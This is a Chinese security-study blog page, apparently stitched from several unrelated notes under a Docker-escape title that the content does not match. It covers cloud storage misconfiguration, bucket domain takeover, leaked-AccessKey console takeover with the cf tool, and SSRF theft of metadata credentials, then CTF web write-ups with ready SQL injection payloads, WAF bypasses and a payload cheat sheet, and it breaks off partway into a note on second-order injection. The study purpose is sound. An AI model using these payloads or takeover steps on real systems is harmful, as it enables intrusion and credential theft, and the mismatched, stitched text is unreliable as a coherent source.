云原生_Docker容器逃逸2

云原生_Docker安全与容器逃逸1

>  本文整理于https://wiki.teamssix.com/
>  和
>  【小迪安全V2024】第93~94天笔记 —— 云安全攻防：对象存储 & 弹性计算
>  
>  专注于概念解析，工具利用和搭配漏洞
 


---

## 📅 云服务篇 —— 对象存储（OSS）安全

### 一、先搞清楚几个基本概念

#### 1.1 什么是云服务？

云服务就是云厂商（阿里云、腾讯云、AWS等）提供的各种"租来的资源"。你不需要买服务器、搭机房，直接在云上买服务就能用。

#### 1.2 什么是对象存储（OSS）？

对象存储就是一个**超级网盘**，专门用来存文件的。比如：
- 网站上的图片、视频、静态资源
- APP的用户上传的头像、文件
- 企业的备份数据

**各大云厂商的对象存储叫法不一样：**

| 云厂商 | 对象存储服务名 |
|--------|---------------|
| 阿里云 | OSS（Object Storage Service） |
| 腾讯云 | COS（Cloud Object Storage） |
| 华为云 | OBS（Object Storage Service） |
| AWS | S3（Simple Storage Service） |
| 百度云 | BOS |

> 💡 **一句话记住**：OSS = 云上的网盘，存文件用的。

#### 1.3 什么是 Bucket（存储桶）？

Bucket 就是对象存储里的 **"文件夹"**，但这个文件夹的名字是**全球唯一**的，不能重名。

Bucket 的访问地址长这样：
```
https://[BucketName].oss-[RegionID].aliyuncs.com
```

举个例子：
```
https://test010010.oss-cn-beijing.aliyuncs.com
```
这里有一个oss连接工具[ ossbrowser 1.0 ](https://help.aliyun.com/zh/oss/developer-reference/install-ossbrowser-1-0?spm=a2c4g.11186623.help-menu-31815.d_1_2_5_0.8c9d7c6bNuzRQK&scm=20140722.H_209974._.OR_help-T_cn~zh-V_1)


![图片.png](/static/img/df2f227da89526d5d9f2135e1f97214b.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
---

### 二、对象存储的安全问题 —— 权限配置不当

对象存储的安全问题，**80%都是因为管理员配置不当造成的**。我们一个个来看：

#### 2.1 公共读权限 —— 文件能被任何人下载

**场景**：管理员把 Bucket 的访问权限设成了"公共读"。

**后果**：
- 任何人都能直接访问 Bucket 里的文件
- 但**不知道文件名就找不到文件**（不显示目录结构）

**如何判断？**
- 访问 Bucket 地址，如果看到文件列表，说明配置了 ListObject 策略
- 如果看到 `AccessDenied`，说明是私有的
![](http://note.geronimo.xin/static/img/ce6e3b94fd612a656ec3c9e2fccbbb6e.å¾ç.webp)

**实战利用：**
1. 通过信息收集（JS、接口、爬虫）找到具体的文件路径
2. 直接访问下载敏感文件

---

#### 2.2 ListObject 策略 —— 目录遍历

**场景**：管理员不仅开了公共读，还开了 ListObject 权限。

**后果**：
- 访问 Bucket 地址，**直接显示所有文件的目录结构**
- 相当于把网盘目录公开了

**如何判断？**
- 访问 Bucket 地址，看到 XML 格式的文件列表
- 或者看到类似文件管理器的界面
![图片.png](/static/img/5c3b161d14db21d3fe3ce8a81afa7a88.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

**实战利用：**
1. 直接访问 Bucket 地址获取完整文件列表
2. 批量下载敏感文件（数据库备份、配置文件、日志等）

---

#### 2.3 公共读写权限 —— 任意文件上传

**场景**：管理员把权限设成了"公共读写"。

**后果**：
- 任何人都能往 Bucket 里上传文件
- 也能删除、修改文件

**如何利用？**

用 BurpSuite 抓包，把 GET 请求改成 PUT 请求来上传文件：

```http
PUT /test.txt HTTP/1.1
Host: target-bucket.oss-cn-beijing.aliyuncs.com
Content-Length: 20

这是测试上传的内容
```

**但注意一个坑：**
> OSS 本身**只做存储，不做解析**。你上传 PHP 木马，访问时只会被下载，不会被执行。所以直接传木马没用。

**那上传文件有啥用？**
- 如果 Bucket 绑定了自定义域名，且域名配置了解析，那上传的 HTML 文件可以被解析执行（后面讲）
- 消耗对方的存储资源（刷流量）
- 覆盖原有文件（篡改网站静态资源）

---

### 三、对象存储的安全问题 —— 域名解析接管

这是对象存储里**最危险、最有实战价值**的漏洞！

#### 3.1 原理：域名是怎么和 Bucket 绑定的？

很多网站为了好看，不用默认的 OSS 地址，而是用自己的子域名来访问：

```
用户访问：oss.xxx.com
           ↓
         DNS解析（CNAME记录）
           ↓
    test010010.oss-cn-beijing.aliyuncs.com
           ↓
         返回文件内容
```

#### 3.2 漏洞怎么产生的？

**场景**：
1. 开发者创建了一个 Bucket：`test010010`
2. 用子域名 `oss.xxx.com` 绑定到这个 Bucket（添加 CNAME 解析）
3. 后来**把 Bucket 删了**，但**DNS 解析记录没删**

**后果**：
- `oss.xxx.com` 还能 ping 通，还能解析
- 但访问时提示 `NoSuchBucket`（没有这个桶）

#### 3.3 如何利用 —— 接管域名！

**步骤：**
1. 访问目标子域名，看到 `NoSuchBucket` 错误
2. 去对应的云厂商（如阿里云）**新建一个同名 Bucket**（`test010010`）
3. 选择**相同的地域**（比如对方原来是北京，你也选北京）
4. 上传任意文件（比如钓鱼页面、黑页）
5. 访问 `oss.xxx.com`，显示的是你上传的内容！

> ⚠️ **关键点**：
> - 必须和对方用**同一个云厂商**
> - 必须选**同一个地域**
> - Bucket 名称必须**完全一致**

#### 3.4 如何判断对方绑定了 OSS？

**方法一：ping 域名**
```bash
ping oss.xxx.com
```
如果返回的地址是 `*.oss-cn-*.aliyuncs.com` 或类似格式，说明绑了 OSS。

**方法二：看响应特征**
- 访问域名，看到 `NoSuchBucket` → 可能可以接管
- 访问域名，看到 `AccessDenied` → 桶存在但私有，不能接管

**方法三：用 FOFA 搜**
```
body="NoSuchBucket"
```

![图片.png](/static/img/dbec2398aa50b5cfcfdda81ea3db4c70.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
所以这个时候我们就可以通过注册同名的mtinf桶来接管

---

### 四、对象存储的安全问题 —— AccessKey 泄漏

#### 4.1 什么是 AccessKey？

AccessKey 是云厂商给用户的 **"账号密码"**，用来调用云服务的 API。一般包含：
- `AccessKeyId`（相当于用户名）
- `AccessKeySecret`（相当于密码）

![图片.png](/static/img/929e9ab6786208e55bc6618ecbd59951.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
![图片.png](/static/img/1c8eeda2bc08c701232f11c5a56e7a30.å¾ç.webp)
拿到这对密钥，就等于拿到了云账号的部分或全部权限！

#### 4.2 AccessKey 常在哪里泄漏？

| 泄漏位置 | 说明 |
|---------|------|
| **JS 源码** | 前端 JS 文件里硬编码了密钥 |
| **小程序源码** | 反编译小程序后找到密钥 |
| **APP 源码** | 反编译 APK 后找到密钥 |
| **GitHub/Gitee** | 代码托管平台的配置文件里泄漏 |
| **配置文件** | 网站源码里的 config 文件 |
| **API 接口** | 接口返回的数据里带了密钥 |
| **Heapdump 文件** | `/actuator/heapdump` 等内存转储文件 |

#### 4.3 不同云厂商的 AccessKey 特征

| 云厂商 | AccessKeyId 前缀特征 |
|--------|---------------------|
| 阿里云 | `LTAI` 开头 |
| 腾讯云 | `AKID` 开头 |
| 华为云 | `AK` 开头 |
| AWS | `AKIA` 开头 |

#### 4.4 拿到 AccessKey 后能做什么？

- 连接 OSS 管理工具，下载/上传/删除 Bucket 里的所有文件
- 调用 ECS API，控制云服务器（开机、关机、执行命令）
- 查看云数据库、VPC 网络配置等敏感信息

**常用工具：**
- 官方工具：`OSSBrowser`（阿里云）、`COSBrowser`（腾讯云）
- 第三方工具：`cf`（云环境利用框架），[云鉴](https://github.com/wgpsec/cloudsword)
使用指南这里先推荐在线的https://wiki.teamssix.com/cloudsword/
后面会出一篇文章的


**云鉴的使用**
查找相关操作

```js

search aliyun
```

```js
use xxx
```
```js

set ak_id 和secret
```

```js
run
```
![图片.png](/static/img/9fe02974984b20b656e8f3e72b5aa0cf.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/95294f29834ac17b34c9b4a267cafb99.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


**cf的使用**

![图片.png](/static/img/8583266ee9db28d255469579331d1b5a.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

```js
cf config
```
![图片.png](/static/img/8c96fbad81db3fd8985dd60d905955dd.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/30e8a412c21402295ab5d94112cec4c1.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

```js
cf alibaba ls
```
![图片.png](/static/img/ba4dc7a3c5ee5ea1df0f81fa568ef633.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/438963935e90eef64d3d9cab687f2700.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里手动测试给个高一点的权限让他可以接管

```js
cf alibaba console
```

当然默认是crossfire 的用户也可以使用-u来指定

```js
cf alibaba console -u teamssix
```
![图片.png](/static/img/2b79adb3093821f21bef42ff7a0fb731.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/4b58dc03794dcd33e2b10a12b95a486e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

直接登录
![图片.png](/static/img/92ee32656224377a73898722bf6d822d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

打完了可以注销

```js
cf alibaba console cancel
```
![图片.png](/static/img/506baedfea511377b2446565e5d8024e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

删除配置

```js
cf config del
```
![图片.png](/static/img/40575609699d7b528cdd70617a26d7fd.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

---

### 五、实战案例汇总

#### 案例1：对象存储任意文件上传

1. 打开目标域名，发现直接显示了文件列表 → 判断为公共可读写
2. ping 域名获取 OSS 的真实地址
3. 用 BurpSuite 抓包，改 PUT 请求上传测试文件
4. 上传成功，验证漏洞存在

#### 案例2：对象存储域名劫持（Bucket 接管）

1. 访问目标子域名，显示 `NoSuchBucket`
2. 在阿里云创建同名 Bucket，选择相同地域
3. 上传 HTML 文件
4. 访问子域名，成功显示上传的内容 → 接管成功

#### 案例3：AccessKey 泄漏利用

1. 在 JS 文件里搜索 `AccessKeyId`，找到泄漏的密钥
2. 用 OSSBrowser 工具连接
3. 成功列出所有 Bucket，下载敏感文件

---

## 📅云服务篇 —— 弹性计算 & 云数据库安全

### 一、弹性计算服务器（ECS/EC2）安全

#### 1.1 什么是弹性计算？

弹性计算就是**云上的虚拟机**。比如：
- 阿里云 ECS
- 腾讯云 CVM
- AWS EC2
- 华为云 ECS

你租一台云服务器，上面跑网站、跑应用。

#### 1.2 什么是实例元数据服务（Metadata Service）？

云服务器里有一个**特殊的内网地址**，用来存放这台服务器的"身份信息"：

| 云厂商 | 元数据服务地址 |
|--------|--------------|
| 阿里云 | `http://100.100.100.200/` |
| 腾讯云 | `http://metadata.tencentyun.com/` |
| 华为云 | `http://169.254.169.254/` |
| AWS | `http://169.254.169.254/` |
| Azure | `http://169.254.169.254/` |
| 谷歌云 | `http://metadata.google.internal/` |

**元数据里有什么？**
- 实例 ID、IP 地址、MAC 地址
- 操作系统类型
- **最重要的是：如果绑定了 IAM/RAM 角色，还能拿到临时访问凭证（AK/SK）！**

![图片.png](/static/img/3d561aa7c8ece26b91e5cf541cf3159b.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
#### 1.3 元数据服务为什么危险？

因为这个地址是**内网地址**，但云服务器上的应用如果存在 **SSRF 漏洞**，就可以让服务器自己请求这个地址，从而**窃取临时凭证**！

![图片.png](/static/img/1c8eeda2bc08c701232f11c5a56e7a30.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

---

### 二、利用 SSRF 窃取元数据 —— 经典攻击链

#### 2.1 攻击前提

目标网站存在 SSRF 漏洞（比如图片加载、URL 访问等功能）。

#### 2.2 攻击步骤

**第一步：探测是否存在 IAM/RAM 角色**

```
http://目标网站/?url=http://169.254.169.254/latest/meta-data/
```

如果返回目录列表，说明存在元数据服务。

**第二步：获取角色名称**

```
http://目标网站/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

返回角色名，比如：`ecs-default-role`

**第三步：获取临时凭证**

```
http://目标网站/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-default-role/
```

返回的内容类似：
```json
{
  "AccessKeyId": "STS.XXXXXXX",
  "SecretAccessKey": "xxxxxxxx",
  "Token": "xxxxxxxx",
  "Expiration": "2024-01-01T00:00:00Z"
}
```

> 🔥 **拿到这个临时凭证，就等于拿到了云账号的权限！**

#### 2.3 拿到凭证后能做什么？

用工具（如 `cf`、`aws cli`）配置好临时凭证，就可以：
- 查看该角色权限下的所有云资源
- 控制 ECS 实例（执行命令）
- 访问 OSS 存储桶
- 操作云数据库
- **横向移动到同账号下的其他服务器**

**cf 工具执行命令示例：**
```bash
cf alibaba ecs exec -b
# 选择实例，直接获取 shell
```

---

### 三、Capital One 银行数据泄露事件（经典案例）

这是云安全历史上最著名的案例之一：

1. **攻击者发现**：Capital One 的 Web 应用存在 SSRF 漏洞
2. **利用 SSRF**：访问 AWS 元数据服务 `169.254.169.254`
3. **窃取凭证**：拿到了 EC2 实例绑定的 IAM 角色临时凭证
4. **横向移动**：用临时凭证访问 S3 存储桶
5. **窃取数据**：下载了约 1 亿用户的信用卡数据、社保号码
6. **后果**：银行股价暴跌，损失巨大

> 📌 **核心教训**：一个 SSRF 漏洞 + 元数据服务 = 整个云环境沦陷

---

### 四、云数据库安全

#### 4.1 云数据库的常见安全问题

| 问题 | 说明 |
|------|------|
| **外网暴露** | 云数据库开启了公网访问，且密码较弱 |
| **默认端口** | 使用默认端口（如 MySQL 3306、Redis 6379），容易被扫描 |
| **权限过大** | 数据库账号权限配置过高 |
| **白名单配置不当** | 允许任意 IP 连接 |

#### 4.2 攻击思路

1. **信息收集**：通过 SSRF、元数据、配置文件找到数据库连接地址
2. **外网连接**：如果数据库开了公网，直接用工具（Navicat、redis-cli）连接
3. **内网连接**：如果拿到了 ECS 权限，在服务器内部连接数据库
4. **权限提升**：利用数据库漏洞或弱口令获取更高权限

---

### 五、AK 控制台接管

#### 5.1 什么是 AK 控制台接管？

如果通过元数据或其他方式拿到的临时凭证**权限足够大**，攻击者可以：
- 登录云厂商的控制台（通过 API 或工具）
- 查看所有资源（ECS、RDS、OSS、VPC 等）
- 创建新用户、修改权限
- **完全接管整个云账号**

#### 5.2 如何判断临时凭证的权限？

1. 用工具查询角色的策略（Policy）
2. 尝试调用各种 API，看哪些能成功
3. 用 `cf` 等工具的扫描功能自动探测

---

## 🛡️ 防御建议汇总

### 对象存储（OSS）防御

| 防御措施 | 具体做法 |
|---------|---------|
| **最小权限原则** | Bucket 权限设为私有，不要开公共读写 |
| **禁用 ListObject** | 不要配置显示目录结构的策略 |
| **自定义域名管理** | 删除 Bucket 时，同步删除 DNS 解析记录 |
| **AccessKey 管理** | 不要硬编码在代码里，使用 RAM 角色临时凭证 |
| **定期轮换** | 定期更换 AccessKey |

### 弹性计算（ECS）防御

| 防御措施 | 具体做法 |
|---------|---------|
| **升级 IMDSv2** | 使用加固模式的元数据服务（需要 PUT 请求获取 Token） |
| **禁用不必要的元数据** | 关闭不需要的元数据访问 |
| **修复 SSRF** | 严格校验用户输入的 URL，禁止访问内网地址 |
| **最小权限角色** | 给 ECS 实例绑定的角色只授予必要的权限 |
| **网络隔离** | 使用安全组、VPC 限制访问 |

### 通用防御

| 防御措施 | 具体做法 |
|---------|---------|
| **代码审计** | 检查 JS、配置文件、Git 仓库，防止密钥泄漏 |
| **WAF 防护** | 部署 Web 应用防火墙，拦截恶意请求 |
| **监控告警** | 对异常 API 调用、AccessKey 使用进行告警 |
| **日志审计** | 开启云操作日志，便于溯源 |

---

## 📚 常用工具清单

| 工具 | 用途 |
|------|------|
| `OSSBrowser` | 阿里云 OSS 管理工具 |
| `COSBrowser` | 腾讯云 COS 管理工具 |
| `cf` | 云环境利用框架（支持阿里云、AWS 等） |
| `wafw00f` | WAF 识别工具 |
| `BurpSuite` | 抓包改包、测试上传 |
| `FOFA` | 网络空间测绘，搜 `NoSuchBucket` |

---

## 📝 总结思维导图

```
云安全攻防（第93~94天）
│
├── 对象存储 OSS（第93天）
│   ├── 权限配置不当
│   │   ├── 公共读 → 文件可被下载
│   │   ├── ListObject → 目录遍历
│   │   └── 公共读写 → 任意文件上传
│   ├── 域名解析接管
│   │   ├── 原理：Bucket删了，DNS没删
│   │   ├── 判断：NoSuchBucket
│   │   └── 利用：创建同名Bucket接管
│   └── AccessKey泄漏
│       ├── JS/小程序/APP/GitHub
│       └── 拿到AK = 控制云资源
│
└── 弹性计算 ECS（第94天）
    ├── 实例元数据服务
    │   ├── 地址：169.254.169.254（各厂商不同）
    │   └── 包含：实例信息 + 临时凭证
    ├── SSRF + 元数据 = 窃取AK
    │   ├── 步骤1：探测角色
    │   ├── 步骤2：获取角色名
    │   └── 步骤3：获取临时凭证
    ├── 云数据库
    │   └── 外网暴露 + 弱口令 = 被入侵
    └── AK控制台接管
        └── 权限够大 = 整个云账号沦陷
```

---

> 💬云安全的核心思路就是——**云上的东西和传统服务器本质上一样，只是换了个地方跑**。对象存储就是网盘，弹性计算就是虚拟机，理解了这一点，云安全的漏洞也就不难理解了。关键是多动手实验，在真实环境里踩坑才能记得牢！

云服务

> QingCenCTF的web题解，处于更新状态



---

## web_test_1
![图片.png](/static/img/8816becb484a7b3451452424684c4752.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
先解密MD5

![图片.png](/static/img/ab38d59bfda0bbc2d02baffb0cda3333.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
提示不是本宗弟子，再更改为X-Forwarded-For: 127.0.0.1，之后再更改cookie字段进行越权，

![图片.png](/static/img/ee65b23fdbb5a26630999cdda47372d3.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

## web_test_2
开头搞我一下，扫了个目录，没出来，后来发现在响应头



![图片.png](/static/img/e3efd4efe34f5b3e5fa46b22248f34ba.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
然后访问对应路径，获得题目源码，发现是个php弱比较

代码条件是：

```php

strlen($no) < 4   // 字符串长度小于4
$no > 88888888    // 数值大于 88888888
```
> strlen("9e9") → 3 个字符 ✅
> 
> "9e9" > 88888888 → 9000000000 > 88888888 为真 ✅

一个只有 3 个字符 的字符串，却代表了一个 90 亿 的大数字，完美利用了 PHP 在比较时的类型转换和科学计数法的特性。
![图片.png](/static/img/d55ea896e4217daf798d32d94cb10418.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

## web_test_3
没有好说的，一开始以为是sql或者弱密码爆破，后来扫了下目录发现有个flag.php
## web_test_4
这关是sql注入，通过z' or 1=1#发现返回了全部数据，无过滤，所以开始爆数据

z' order by 5#
![图片.png](/static/img/06692da26cad2c88d12e95c27305ee9a.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
z' order by 6#
![图片.png](/static/img/4582fd0cbc493698b18d97c5182d3669.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
确定列数为6列，结合响应中的说在secret表所以直接开爆


```sql
z' and 1=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='secrets'#
```

![图片.png](/static/img/a905015f5cf8f527cab48a4d0de53915.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

```sql
z' and 1=0 union select 1,group_concat(secret_name,':',secret_value),3,4,5 from secrets#
```

![图片.png](/static/img/a4d94ce2efef5eceac736b0d990fd2e2.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

不能直接目录穿越访问，所以通过LOAD_FILE 函数读文件

返回空，这里卡了一会，发现有个文件包含

于是在这里尝试目录穿越
![图片.png](/static/img/79ea5bddb6b9d16aba1d7aba88e3e4dd.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

## web_test_5

是个PostgreSQL，尝试注入爆列名
![图片.png](/static/img/29498a33972dbd610e1073b5b4921d6e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/8f92a8f7c6f1b12d5c5c213f83c9e5ba.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
爆库名版本号
![图片.png](/static/img/b733c3e921041a48af996d40b709b1de.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

爆表名

![23e73348a2f419213b1e87cac5ecc2cd.png](/static/img/ce203d7ef4c781ead60cd7d970dff5ef.23e73348a2f419213b1e87cac5ecc2cd.webp)
爆数据

![b13fef6c6f9daf8fc7802b08e571988f.png](/static/img/ca33f21f82cfbcbe6d2d45596425ad4a.b13fef6c6f9daf8fc7802b08e571988f.webp)

以下是针对于PostgreSQL的详细和知识点

:::tip{title="提示"}
### 一、第一步：发现注入点（"此地无银三百两"）

**你做了什么：** 输入 `{"ids":"1'"}`，后端返回 `{"msg":"非法字符","status":403}`

**这意味着什么：**
- 如果后端用**参数化查询**（`?` 占位符），单引号会被当作普通字符处理，**绝对不会报错**。
- 只有后端在**手动拼接SQL字符串**时，开发者才会去"检测危险字符"来防注入。
- **过滤单引号 = 承认自己在拼接SQL**。这就是"此地无银三百两"。

**关键结论：** 这个接口存在SQL注入，而且防御很粗糙（只挡了单引号）。

---

### 二、第二步：摸清SQL结构（靠报错"套话"）

**你做了什么：** 输入 `1) UNION SELECT NULL--`，报错：
```
syntax error at or near ")" LINE 1: ...cription, status FROM tasks WHERE id = ANY(ARRAY[1) UNION SE...
```

**从报错里读出的关键信息：**
1. **查询了4列：** `id, title, description, status`
2. **SQL骨架：**
   ```sql
   SELECT id, title, description, status FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ])
   ```
3. **数据库类型：** PostgreSQL（`ANY(ARRAY[...])` 是PostgreSQL特有的语法）

**为什么这个报错如此重要：**
很多新手看到报错就慌了，实际上**报错是SQL注入最好的朋友**。它直接告诉你SQL长什么样，你才知道怎么"闭合"它。

---

### 三、第三步：闭合SQL结构（"把门关上"）

**核心问题：** 你的输入被拼在了 `ARRAY[` 和 `]` 之间，你要让 `ANY(ARRAY[...])` 语法合法，然后再接自己的SQL。

**你做了什么：**
- `1])` → 拼进去变成 `ANY(ARRAY[1])` → **语法合法**
- 后面加 `--` 注释掉原来的 `])`

**实际效果：**
```sql
-- 原始SQL（假设）
SELECT ... FROM tasks WHERE id = ANY(ARRAY[ 你的输入 ])

-- 你输入 999]) UNION SELECT ... --
-- 实际执行：
SELECT ... FROM tasks WHERE id = ANY(ARRAY[999]) UNION SELECT ... --])
--                                          ^^^^ 这里闭合了
--                                               ^^^^^^^^^^^^^^^ 这里是你加的
--                                                              ^^ 这里把后面的 ]) 注释掉了
```

**小白理解：** 就像你在一句话中间插嘴，先说完了自己的话，然后用 `--` 把后面别人要说的话"抹掉"。

---

### 四、第四步：测列数（"对号入座"）

**你做了什么：**
- `999]) UNION SELECT NULL--` → 报错 `each UNION query must have the same number of columns`
- `999]) UNION SELECT NULL,NULL,NULL,NULL--` → **成功**

**为什么必须4列：**
UNION 要求**左右两边的查询结果列数必须完全一致**。原SQL查的是 `id, title, description, status` 这4列，你的 `UNION SELECT` 也必须是4列。

**测列数的技巧：**
- 用 `NULL` 占位，因为 `NULL` 可以匹配**任何类型**（数字、字符串、布尔都行），不会触发类型错误。
- 用 `999` 当ID是因为这个ID大概率不存在，这样原查询没结果，**只显示你UNION进去的数据**，不干扰。

---

### 五、第五步：确认有回显（"能看得见"）

**你做了什么：**
```json
{"ids":"999]) UNION SELECT 1,version(),current_database(),1--"}
```

**前端显示：**
- `title` 位置 → `PostgreSQL 17.10 (Debian ...)`（版本号）
- `description` 位置 → `ctf_db`（数据库名）
- 右上角 → `已完成`（因为 `status=1`）

**这意味着什么：**
这是**有回显注入**（Union-based），你可以直接把数据库里的数据"SELECT"出来显示在页面上，是最爽的一种注入。

**为什么 `SELECT 1,2,3,4` 不行：**
PostgreSQL 是**强类型**数据库。原SQL的第2、3列是字符串类型（`title`、`description`），你传整数 `2`、`3` 进去，类型对不上，直接报错。而 `version()` 和 `current_database()` 返回的是字符串，所以完美匹配。

---

### 六、第六步：查表名（绕过WAF的坑）

**你尝试的：**
```json
{"ids":"999]) UNION SELECT 1,table_name,table_schema,1 FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET 0--"}
```
→ **返回 403 非法字符**

**被拦的两个原因：**
1. **单引号 `'`：** `'public'` 里的单引号直接触发WAF
2. **`information_schema`：** 这是SQL注入字典里的"敏感词"，很多WAF直接拦截

#### 绕过方法1：不用单引号
PostgreSQL 有 `current_schema()` 函数，返回当前schema（默认就是 `public`），**不需要引号**。

#### 绕过方法2：不用 `information_schema`
改用 PostgreSQL 自己的系统视图 `pg_tables`，或者更底层的 `pg_class` + `pg_namespace`。

**你最终成功的payload：**
```json
{"ids":"999]) UNION SELECT 1,relname,nspname,1 FROM pg_class JOIN pg_namespace ON relnamespace=pg_namespace.oid WHERE nspname=current_schema() AND relkind=CHR(114) LIMIT 1 OFFSET 0--"}
```

**这里面的知识点：**
- `pg_class`：存储所有表、索引、序列等对象
- `pg_namespace`：存储schema（如 `public`）
- `relnamespace=pg_namespace.oid`：关联两个表（修复了 `oid` 歧义报错）
- `nspname=current_schema()`：用函数代替 `'public'`，无引号
- `relkind=CHR(114)`：`CHR(114)` = `'r'`，表示普通数据表。用ASCII码代替单引号

**OFFSET 的用法：**
- `OFFSET 0` → 第1个表
- `OFFSET 1` → 第2个表（你在这里找到了 `secret_flag`）

---

### 七、第七步：查字段名和拿Flag（"最后一击"）

#### 关键发现：PostgreSQL 标识符自动转小写

在 PostgreSQL 里，**不加引号的标识符会自动变成小写**：
```sql
SELECT * FROM secret_flag   -- 合法，等同于 "secret_flag"
```

这意味着你**不需要单引号、不需要双引号**，直接写表名就能查！完美绕过WAF。

#### 盲猜字段名（最快路径）

CTF里flag字段通常就叫 `flag`，直接试：

```json
{"ids":"999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1--"}
```

**成功！** 前端 `title` 位置直接显示 `flag{...}`。

#### 如果字段名不对怎么办？

用系统表 `pg_attribute` 查字段名（同样无引号）：

```json
{"ids":"999]) UNION SELECT 1,string_agg(attname,CHR(44)),NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0--"}
```

- `attname`：字段名
- `CHR(44)`：逗号 `,`
- `string_agg`：把所有字段名用逗号拼成一条
- `attnum>0`：排除系统内部字段

---

### 八、完整路线图（脑图版）

```
发现注入点
    ↓ 输入 1' 被拦（403 非法字符）→ 确认拼接SQL
摸清结构
    ↓ 输入 1) 报错 → 发现 ANY(ARRAY[...]) 结构
闭合语法
    ↓ 输入 1]) -- → 让 ANY(ARRAY[1]) 合法
测列数
    ↓ UNION SELECT NULL,NULL,NULL,NULL-- → 确认4列
确认回显
    ↓ UNION SELECT 1,version(),current_database(),1-- → 有回显！
查表名
    ↓ information_schema 被拦 → 换 pg_class + pg_namespace
    ↓ 单引号被拦 → 用 current_schema() + CHR(114)
    ↓ OFFSET 1 → 发现 secret_flag 表
拿Flag
    ↓ PostgreSQL 标识符自动转小写 → FROM secret_flag 无引号
    ↓ 盲猜字段 flag → UNION SELECT 1,flag,NULL,1 FROM secret_flag
    ↓ 🎉 出 flag！
```

---

### 九、PostgreSQL 注入特有知识点汇总

| 知识点 | 说明 | 在本题中的应用 |
|--------|------|-------------|
| `ANY(ARRAY[...])` | PostgreSQL 特有的IN语法替代 | 发现结构后才知道用 `])` 闭合 |
| `current_schema()` | 返回当前schema，无引号 | 代替 `'public'` 绕过WAF |
| `pg_tables` / `pg_class` | PostgreSQL系统表，代替 `information_schema` | 绕过 `information_schema` 敏感词拦截 |
| `CHR(n)` | ASCII码转字符，无引号 | `CHR(114)` = `'r'`，绕过单引号过滤 |
| 标识符自动转小写 | 不加引号的表名/字段名自动变小写 | `FROM secret_flag` 不需要任何引号 |
| `string_agg` | 字符串聚合函数 | 一把梭出所有表名/字段名 |
| 强类型 | UNION时类型必须匹配 | 不能用 `SELECT 1,2,3,4`，必须用 `version()` 等字符串函数 |

---

### 十、关键Payload速查表

| 目的 | Payload |
|------|---------|
| 闭合ANY(ARRAY) | `999]) UNION SELECT ... --` |
| 测列数 | `999]) UNION SELECT NULL,NULL,NULL,NULL--` |
| 拿版本+库名 | `999]) UNION SELECT 1,version(),current_database(),1--` |
| 查所有表名 | `999]) UNION SELECT 1,string_agg(tablename,','),current_schema(),1 FROM pg_tables WHERE schemaname=current_schema()--` |
| 查表字段（逐条） | `999]) UNION SELECT 1,attname,NULL,1 FROM pg_attribute,pg_class WHERE attrelid=oid AND relname=secret_flag AND attnum>0 LIMIT 1 OFFSET 0--` |
| 拿flag | `999]) UNION SELECT 1,flag,NULL,1 FROM secret_flag LIMIT 1--` |
| 读本地文件 | `999]) UNION SELECT 1,pg_read_file('/flag'),NULL,1--` |

:::
## web_test_6

QingCenCTF的web题解

> Level24，二次注入，原理



---
## 一、什么是二次注入

> **第一次输入的恶意数据被"安全地"存入数据库（经过了转义/过滤），第二次从数据库中取出该数据并拼接到新的 SQL 语句中时，没有再次过滤，从而触发注入。**

**核心特征**：
- **不是立即触发**：第一次输入时不会报错，也不会注入成功
- **延迟触发**：等到第二次查询/使用这条数据时才爆发
- **隐蔽性强**：常规扫描工具很难发现，因为第一次请求看起来完全正常

---

## 二、和一次注入的区别

| 对比项 | 一次注入（First-Order） | 二次注入（Second-Order） |
|:---|:---|:---|
| **触发时机** | 第一次请求立即触发 | 第一次存，第二次用才触发 |
| **过滤情况** | 第一次没过滤或过滤被绕过 | 第一次过滤了，但第二次没过滤 |
